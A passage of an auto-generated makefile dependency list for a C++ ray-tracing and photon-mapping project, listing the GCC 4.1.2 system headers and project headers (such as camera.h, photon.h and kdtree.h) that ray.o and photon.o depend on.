/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h vector.h pixel.h light.h
ray.o: ray.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iomanip \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/functional \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/fstream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/basic_file.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/fstream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
vector.h pixel.h camera.h light.h material.h object.h list.h plane.h \
model.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/vector \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_vector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_bvector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/vector.tcc \
ray.h photon.h kdtree.h
photon.o: photon.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
